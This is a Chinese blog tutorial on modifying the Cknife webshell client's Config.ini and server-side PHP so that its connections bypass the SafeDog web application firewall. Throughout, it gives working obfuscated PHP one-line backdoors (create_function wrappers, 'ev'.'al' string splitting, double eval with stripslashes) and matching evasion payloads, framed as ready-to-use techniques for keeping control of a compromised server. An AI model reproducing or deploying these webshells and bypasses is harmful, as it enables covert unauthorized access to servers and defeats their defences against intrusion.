打狗棒法之进阶篇:Cknife修改配置法秒过安全狗

2016-03-31 605909人围观 ,发现 11 个不明物体 WEB安全系统安全

0×01 男人要持久

在上一篇《打狗棒法之:Cknife(C刀)自定义模式秒过安全狗》之后,今天做一回真正的男人直奔主题,但是作为一个真男人我们要坚守一个道理那就是:不能秒要持久。本文的两个例子为抛砖引玉,主要讲解使用方法以及绕狗思路。

0×02 准备

上一次为大家介绍了自定义模式秒过安全狗,这一次将介绍修改配置法过安全狗。修改配置文件过狗理论上讲比自定义模式更快更方便(前提是你要有好的代码基础),自定义模式是在实在没有好的思路的时候才会选用它,通过修改配置法不需要像自定义模式那样一个一个功能的添加,只需要两个绕过就可以达到正常使用所有功能的效果。

0×03 科普

在开始使用修改配置法过狗前要知道安全狗拦截了什么,先做一个简单科普:安全狗拦截菜刀连接的过程有两步,第一步为服务端本身(即你的一句话木马)被特征库匹配为木马不允许执行,第二步为在数据包传递的过程中含有敏感的关键词被特征库匹配而不允许连接。如下图。

0.png

0×04 例一

现在最原始的一句话比如eval($_POST[‘Cknife’]),放在服务器上根本就不会执行,直接在第一步就嗝屁。

1.png

所以我们先要让一句话不被拦截,访问的时候能够正常运行,那应该怎么做呢,其实我们要做的就是服务端(即一句话木马)变型,以PHP为例子,不外乎就是拆分替换、反序列化、动态函数(比如$_GET['function']($_POST['Cknife']);)使用回调函数(比如usort、array_map)、使用匿名函数、使用特定函数(比如create_function,asset)等等。

这里我用匿名函数来做例子,用create_function创建了一个匿名函数$cknife,用它来代替eval。如下代码为变形后的一句话,能够通过安全狗的第一步检测(但是安全狗的网马查杀功能依然能扫到,至于如何躲避网马查杀不在本文讨论范围,有兴趣的朋友可以自行研究,因为我相信当你能灵活操作服务器上的任何文件时,留一个不被查杀的后门还是没有什么问题的)。

<?php
$cknife = create_function('$a', 'eval($a);');
$cknife($_POST['Cknife']);
?>

然后我们要做的就是绕过第二步的检测,首先当然是抓包,连接的时候(即第二步的检测)果然被拦截

2.png

3.png

通过排除法(即删除你觉得可能被查杀的部分,反复提交数据包)确定只过滤了eval这个关键词。如下两图,分别为删除base64_decode中的某个字母依然被拦截,以及删除eval中的某个字母没有拦截。说明只是拦截了eval这个关键词。

4.png

5.png

注意:以下红色部分为PHP_MAKE

接下来我们要做就是构造一段不被查杀的PHP_MAKE来替换掉原来被查杀的PHP_MAKE。

Cknife=eval(base64_decode($_POST['action']))&action=…                          被拦截

我们在第一步的时候构造了一个代替eval的匿名函数$cknife

<?php

$cknife = create_function('$a', 'eval($a);');

$cknife($_POST['Cknife']);

?>

那我们是否可以用它来替换掉原来的PHP_MAKE呢,我们把PHP_MAKE替换为如下代码:

Cknife=$cknife=create_function('$a', 'eval($a);');$cknife(base64_decode($_POST['action']));&action=…

提交数据包发现还是被拦截,这里找了下原因发现构造的匿名函数$cknife里也包含了eval关键词,所以被查杀。

6.png

这使用简单的拆分发就可以绕过检测,我们把eval才分为ev跟al即

Cknife=$cknife=create_function('$a', 'ev’.’al($a);');$cknife(base64_decode($_POST['action']));&action=…

提交数据包后发现没有被拦截,说明绕过成功,但是发现右边并没有正常执行

7.png

找了下原因,原来我们在POST提交参数的时候里面包含了单引号,而当前的GPC=ON,所以自动转移了,解决办法就是在有引号的参数前面加入stripslashes函数去除转义符号,即服务端代码修改为

<?php

$cknife = create_function('$a', 'ev'.'al($a);');

$cknife(stripslashes($_POST['Cknife']));

?>

这下我们再尝试提交原来的参数,发现成功执行。

8.png

于是我们只需要将Config.ini里面的PHP_MAKE替换为

$cknife=create_function('$a','ev'.'al($a);');$cknife(base64_decode($_POST['action'])); 

9.png

也别忘记了服务端的代码

<?php

$cknife = create_function('$a', 'ev'.'al($a);');

$cknife(stripslashes($_POST['Cknife']));

?>

10.png

最后连接成功,所有功能都可以使用。

11.png

0×05 例二

该例子相比例一要简单易懂一些,核心原理就是PHP_MAKE实在饶不过,就不包含该关键词,在服务端做处理。

注意:以下红色部分为PHP_MAKE

比如例一中原始的数据包为

Cknife=eval(base64_decode($_POST['action']));&action=…

如果大家不太懂PHP,表示绕过去亚历山大的时候,其实还有另外一种思路,关键词不包含eval,这样PHP_MAKE 里都没有了安全狗拦截的特征,肯定就不会拦截了。如下:

Cknife=base64_decode($_POST['action']);&action=…

但是就需要把eval放到服务端来执行,即原本服务端代码是

<?php

eval($_POST['Cknife']);

?>

现在就要多执行一次eval,因为在PHP_MAKE里少执行了一次。即

<?php

eval('$ms509 ='.$_POST['Cknife']);

eval($ms509);

?>

还是老规矩替换Config.ini的PHP_MAKE为

base64_decode($_POST['action']);

12.png

当然不要忘记了服务端的代码为

<?php

eval('$ms509 ='.$_POST['Cknife']);

eval($ms509);

?>

连接成功,所有功能同样可以使用

14.png

0×06 总结

这是一款跨平台的基于配置文件的中国菜刀,Config.ini是她的核心,把所有操作给予用户来定义,主程序只是图形的展示,以及数据的发送。

我的绕WAF思路就是首先修改XXX_MAKE能饶就饶,饶不过XXX_MAKE就去掉被拦截的关键词,放在服务端里处理。如果服务端也饶不过,那就使用自定义模式,用正常的功能去实现它。(本文以PHP为例子,若用户想要修改其他语言,则需要在配置文件里修改对应的MAKE以及对应的动作。)

这些评论亮了

发表评论

已有 11 条评论

取消
Loading...
css.php